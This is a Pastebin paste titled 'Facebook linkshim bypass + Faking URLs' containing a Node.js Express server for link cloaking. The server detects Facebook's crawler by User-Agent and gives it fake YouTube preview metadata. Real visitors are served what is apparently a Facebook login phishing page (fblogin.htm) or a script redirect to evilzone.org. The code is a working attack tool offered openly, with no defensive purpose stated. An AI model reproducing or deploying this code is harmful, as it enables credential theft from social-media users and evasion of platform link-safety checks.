Advertisement
Dr_FarFar

Facebook linkshim bypass + Faking URLs

Nov 1st, 2017
259
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. https://www.youtube.com/watch?time_continue=4&v=qWMXBW9k130
  2.  
  3. ###########################################################
  4.  
  5. const express = require('express')
  6. const app = express()
  7.  
  8. app.get('/test', function (req, res) {
  9. console.log(req.headers['user-agent']);
  10. if (req.headers['user-agent'].includes('facebook')) {
  11. console.log('Facebook bot detected, returning fake HTML without malicious code');
  12. res.send(`<html><head>
  13. <link href='https://i.ytimg.com/vi/CTFtOOh47oo/maxresdefault.jpg' rel='image_src'/>
  14. <meta content='https://www.youtube.com/watch?v=CTFtOOh47oo' property='og:url'/>
  15. <meta content='French Montana - Unforgettable ft. Swae Lee' property='og:title'/>
  16. <meta content='\"Unforgettable\" ft. Swae Lee Available at iTunes: http://smarturl.it/Unforgettable_fiTunes ...' property='og:description'/>
  17. <meta content='https://i.ytimg.com/vi/CTFtOOh47oo/maxresdefault.jpg' property='og:image'/>
  18. </head>
  19. <br>Hello world</html>`)
  20. }
  21. else {
  22. res.sendFile('/root/barak/node/fblogin.htm')
  23. }
  24. })
  25.  
  26. app.get('/fb', function (req, res) {
  27. console.log(req.headers['user-agent']);
  28. if (req.headers['user-agent'].includes('facebook')) {
  29. console.log('facebook found');
  30. res.send(`<html><head>
  31. <link href='https://i.ytimg.com/vi/CTFtOOh47oo/maxresdefault.jpg' rel='image_src'/>
  32. <meta content='https://www.youtube.com/watch?v=CTFtOOh47oo' property='og:url'/>
  33. <meta content='French Montana - Unforgettable ft. Swae Lee' property='og:title'/>
  34. <meta content='\"Unforgettable\" ft. Swae Lee Available at iTunes: http://smarturl.it/Unforgettable_fiTunes ...' property='og:description'/>
  35. <meta content='https://i.ytimg.com/vi/CTFtOOh47oo/maxresdefault.jpg' property='og:image'/>
  36. </head>
  37. <br>Hello world</html>`)
  38. }
  39. else {
  40. res.send('<script>document.location="http://evilzone.org/"</script>')
  41. }
  42. })
  43.  
  44. app.listen(80, function () {
  45. console.log('listening on port 80!')
  46. })
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement